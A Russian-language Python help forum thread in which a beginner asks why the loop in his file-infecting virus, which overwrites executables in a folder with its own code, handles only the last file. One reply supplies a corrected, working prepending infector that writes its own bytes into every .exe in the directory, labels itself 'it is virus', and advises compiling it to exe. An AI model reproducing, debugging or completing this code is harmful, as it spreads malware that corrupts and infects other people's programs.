Уведомления

Группа в Telegram: @pythonsu

#1 Янв. 21, 2016 16:24:01

Hiro
Зарегистрирован: 2016-01-21
Сообщения: 12
Репутация: +  0  -
Профиль   Отправить e-mail  

Цикл for

Суть программы: Должна заменять все экзешники в папке на себя.

К сожалению, неправильно работает цикл for. Хоть убейте не вижу ошибки.

#!/usr/bin/env python
# coding: utf-8
import sys
import os
import shutil
import random
virPath = os.path.split(sys.argv[0]);
names = os.listdir('.');
proverka = "proverka";
fvir = open(sys.argv[0], 'rb');
virData = fvir.read(19456);
for name in names:
   namePair = os.path.splitext(name);
os.rename(name, "virus.exe");
fprog = open("virus.exe", 'rb'); 
progData = fprog.read();
fnew = open(name, 'wb');
fnew.write(virData);
fnew.close();
fprog.close();
os.remove("virus.exe");
fvir.close();
Сделал вывод значения “names” (список всех файлов в папке) и вывод значения “name” (текущего обрабатываемого файла):

В итоге получаю, что заменяет в папке только последний файл из списка names, т.е. с.exe заменяет на самого себя, а оставшиеся a.exe и b.exe остаются без изменения.

Отредактировано FishHook (Янв. 21, 2016 17:00:37)

Прикреплённый файлы:
attachment 123.png (1,6 KБ)

Офлайн

#2 Янв. 21, 2016 17:03:13

Drew_7
Зарегистрирован: 2016-01-21
Сообщения: 2
Репутация: +  0  -
Профиль   Отправить e-mail  

Цикл for

Пробел упустил

Офлайн

#3 Янв. 21, 2016 17:06:39

FishHook
От:
Зарегистрирован: 2011-01-08
Сообщения: 8312
Репутация: +  568  -
Профиль   Отправить e-mail  

Цикл for

Ваш цикл вообще ничего не делает, он бессмыслен.
Если есть цикл, в нем должно происходить какое-то действие, верно?
Вы в цикле N раз присваиваете переменной значение.
То есть как то так

namePair = os.path.splitext("autoexec.bat")
namePair = os.path.splitext("hosts.ini");
namePair = os.path.splitext("command.com");
namePair = os.path.splitext("porno");

Этот набор действий не даст никакого следствия, это просто бестолковое насилование диска.



Офлайн

#4 Янв. 21, 2016 18:31:09

Hiro
Зарегистрирован: 2016-01-21
Сообщения: 12
Репутация: +  0  -
Профиль   Отправить e-mail  

Цикл for

FishHook

FishHook
Ваш цикл вообще ничего не делает, он бессмыслен. Если есть цикл, в нем должно происходить какое-то действие, верно?Вы в цикле N раз присваиваете переменной значение. То есть как то так
Всё верно, лишняя строчка, учту. Сейчас как я понял из ваших слов в цикле участвует только эта строчка
namePair = os.path.splitext(name)?

Просто мне то требуется , чтобы брался файл, с ним выполнялись все указанные мною действия, далее брался второй файл и т.д. . Питон я изучаю первый день, можете уточнить , что нужно сделать, чтобы все последующие строчки , т.е. :

os.rename(name, “virus.exe”);
fprog = open(“virus.exe”, ‘rb’);
progData = fprog.read();
fnew = open(name, ‘wb’);
fnew.write(virData);
fnew.close();
fprog.close();
os.remove(“virus.exe”);
fvir.close();


так же были задействованы в цикле? Убрать везде “;” и поставить их только в конец?

Офлайн

#5 Янв. 21, 2016 18:51:37

FishHook
От:
Зарегистрирован: 2011-01-08
Сообщения: 8312
Репутация: +  568  -
Профиль   Отправить e-mail  

Цикл for

По какому учебнику вы изучаете питон?



Офлайн

#6 Янв. 21, 2016 19:03:22

Hiro
Зарегистрирован: 2016-01-21
Сообщения: 12
Репутация: +  0  -
Профиль   Отправить e-mail  

Цикл for

FishHook
По какому учебнику вы изучаете питон?
Сейчас пока ищу только интересующую информацию, без учебника, т.к. срок для написания именно этой программы ничтожно мал. Учебник мне сейчас конечно понадобится, может Вы что то посоветуете?

Офлайн

#7 Янв. 21, 2016 19:33:38

google_
Зарегистрирован: 2014-06-06
Сообщения: 22
Репутация: +  0  -
Профиль   Отправить e-mail  

Цикл for

#!/usr/bin/python3.4
import os, sys, glob
path = glob.glob('*.exe')#Найти файлы с расширением <.exe>
fvir = open(sys.argv[0], 'rb')#Открыть самого себя
virData = fvir.read(19835)#считать в память
for name in path:
    #Не зарожать самого себя
    if name not in 'virus.py':
        os.rename(name, name + 'tmp')#Переименовать файлы
        fprog = open(name + 'tmp', 'rb')#Открыть файлы
        progData = fprog.read()#Прочитать файлы
        chestnie = open(name, 'wb')#Открыть,стереть файлы
        chestnie.write(virData + progData)#Записать в начало 
        fprog.close()#Закрыть
        chestnie.close()#Закрыть
        os.remove(name + 'tmp')#Удалить временные файлы
print('it is virus')#Это вирус
Вам нужно будет скомпилировать его в exe.

Отредактировано google_ (Янв. 21, 2016 19:37:45)

Офлайн

#8 Янв. 21, 2016 19:58:50

Hiro
Зарегистрирован: 2016-01-21
Сообщения: 12
Репутация: +  0  -
Профиль   Отправить e-mail  

Цикл for

google_
os.rename(name, name + ‘tmp’)
пробовал использовать это , выдавало ошибку что-то на подобие :
не найден файл *.exetmp то есть tmp он добавляет после расширения файла.

Офлайн

#9 Янв. 21, 2016 20:05:14

google_
Зарегистрирован: 2014-06-06
Сообщения: 22
Репутация: +  0  -
Профиль   Отправить e-mail  

Цикл for

Hiro
пробовал использовать это , выдавало ошибку что-то на подобие :
не найден файл *.exetmp то есть tmp он добавляет после расширения файла.
Странно, у меня работает, только что проверил.
Я давно писал этот код и помню такую ошибку у себя. Вы попробуйте именно этот код.
Файл назовите virus.py и в этой же директории зоздайте несколько файлов с расширеним exe и будете приятно удивлены )

Отредактировано google_ (Янв. 21, 2016 20:07:50)

Офлайн

#10 Янв. 21, 2016 20:36:55

Hiro
Зарегистрирован: 2016-01-21
Сообщения: 12
Репутация: +  0  -
Профиль   Отправить e-mail  

Цикл for

google_
Хорошо , попробую уже только завтра. Пожалуйста , если не составит трудности , зайдите на всякий случай в эту тему завтра. Вдруг появятся какие то вопросы.

Офлайн

Board footer

Модераторировать

Powered by DjangoBB

Lo-Fi Version